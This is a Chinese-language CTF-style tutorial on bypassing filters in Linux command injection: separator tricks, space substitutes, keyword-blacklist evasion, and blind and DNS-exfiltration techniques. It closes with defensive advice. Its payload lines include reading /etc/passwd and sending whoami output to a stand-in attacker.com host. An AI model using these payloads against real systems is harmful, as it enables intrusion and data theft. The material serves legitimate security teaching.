从一道CTF题看Linux命令注入的N种绕过姿势:不只是空格和cat
从一道CTF题看Linux命令注入的N种绕过姿势:不只是空格和cat
在渗透测试和CTF竞赛中,命令注入漏洞一直是Web安全领域的重要考点。不同于简单的SQL注入或XSS攻击,命令注入直接与操作系统交互,其危害性和灵活性都更为显著。本文将以一道典型的CTF题目为切入点,系统性地剖析Linux命令注入的各种高级绕过技术,帮助安全从业者构建更全面的防御思维。
1. 命令分隔符的七十二变
当我们在Web应用中发现了命令注入漏洞时,第一个需要突破的往往是如何将多个命令串联执行。常见的分号;可能被过滤,但Linux系统提供了丰富的替代方案:
- 逻辑运算符:
&&(前命令成功则执行后命令)、||(前命令失败则执行后命令) - 后台执行符:
&将前命令放入后台执行,继续执行后命令 - 管道符:
|将前命令输出作为后命令输入 - 换行符:
%0a(URL编码的换行符)在HTTP请求中常能绕过过滤
# 实际CTF中的利用示例 ?ip=127.0.0.1%0aid # 使用换行符代替分号 ?ip=127.0.0.1||ls # 前ping命令失败时执行ls注意:不同分隔符在Bash中的执行优先级不同,
&&和||具有相同的优先级,且高于;和&
2. 空格绕过的艺术
空格是命令注入中最常被过滤的字符之一,但绕过方法远不止IFS一种:
| 绕过技术 | 示例 | 原理说明 |
|---|---|---|
| IFS变量 | cat${IFS}file | 使用内部字段分隔符 |
| 重定向符 | cat<file | 利用输入重定向 |
| 大括号扩展 | {cat,file} | Bash的大括号扩展语法 |
| 制表符 | cat\tfile | 使用Tab替代空格 |
| URL编码 | cat%09file | 编码后的空格或制表符 |
# 使用大括号扩展绕过 ?ip=127.0.0.1;{ls,-la} # 使用重定向符 ?ip=127.0.0.1;cat</etc/passwd3. 关键字黑名单的破解之道
当cat、flag等关键词被过滤时,我们可以采用多种替代方案:
3.1 替代命令法
- 文件读取:
tac、rev、more、less、head、tail、nl - 二进制查看:
od、xxd、hexdump - 编码转换:
base64、uuencode
3.2 通配符技巧
# 使用通配符匹配文件名 ?ip=127.0.0.1;cat /fla? # 使用字符类 ?ip=127.0.0.1;cat /fla[a-g]3.3 变量拼接
# 将命令拆分为变量 ?ip=127.0.0.1;a=c;b=at;c=flag;$a$b $c4. 无回显场景下的盲注技术
当命令执行结果不直接显示时,可以采用以下技术:
- 时间盲注:通过
sleep命令观察响应延迟 - DNS外带:利用
dig或nslookup将数据外带 - HTTP请求:使用
curl或wget发送数据到可控服务器 - 文件写入:将结果写入web目录再访问
# DNS外带示例 ?ip=127.0.0.1;dig `whoami`.attacker.com # 时间盲注示例 ?ip=127.0.0.1;if [ -f /flag ]; then sleep 5; fi5. 防御措施的全面思考
了解攻击手法是为了更好地防御。针对命令注入,建议采取多层防护:
- 输入验证:严格限制用户输入的字符集
- 参数化调用:使用execve等函数直接传递参数数组
- 最小权限:运行Web服务的用户应具有最小必要权限
- 命令白名单:如必须执行命令,应建立严格的命令白名单
# 安全的命令执行示例(Python) import subprocess subprocess.run(['ls', '-l'], check=True) # 避免shell=True在实际渗透测试中,命令注入的绕过往往需要多种技术组合使用。我曾遇到一个案例,目标系统过滤了空格、分号和常见命令,最终通过%0a换行符配合大括号扩展成功实现了注入。这种不断突破限制的过程,正是安全研究的魅力所在。
